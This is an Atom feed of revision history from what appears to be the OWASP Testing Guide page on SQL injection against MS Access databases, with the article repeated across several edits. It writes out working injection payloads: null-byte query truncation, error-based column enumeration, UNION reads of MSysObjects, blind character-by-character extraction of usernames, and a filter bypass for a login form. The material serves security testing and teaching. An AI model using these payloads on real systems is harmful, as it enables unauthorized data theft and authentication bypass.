# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1)&lt;br /&gt;
return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example&lt;br /&gt;
# TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query&lt;br /&gt;
SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?myId=[sql]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?id=IIF((select%20mid(last(username),1,1)%20&lt;br /&gt;
from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT TOP 10 username FROM users&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36690</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36690"/>
				<updated>2008-08-20T13:49:27Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
' GROUP BY Id%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1)&lt;br /&gt;
return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example&lt;br /&gt;
# TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query&lt;br /&gt;
SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?myId=[sql]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?id=IIF((select%20mid(last(username),1,1)%20&lt;br /&gt;
from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT TOP 10 username FROM users&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36689</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36689"/>
				<updated>2008-08-20T13:47:02Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
' GROUP BY Id%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1)&lt;br /&gt;
return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example&lt;br /&gt;
# TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query&lt;br /&gt;
SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?myId=[sql]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?id=IIF((select%20mid(last(username),1,1)%20&lt;br /&gt;
from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT TOP 10 username FROM users&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36688</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36688"/>
				<updated>2008-08-20T13:43:20Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: New page: == Short Description of the Issue ==  In this paragraph we describe how to exploit sql injection vulnerabilties when the backend database is MS Access. In particular we focus on how to exp...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
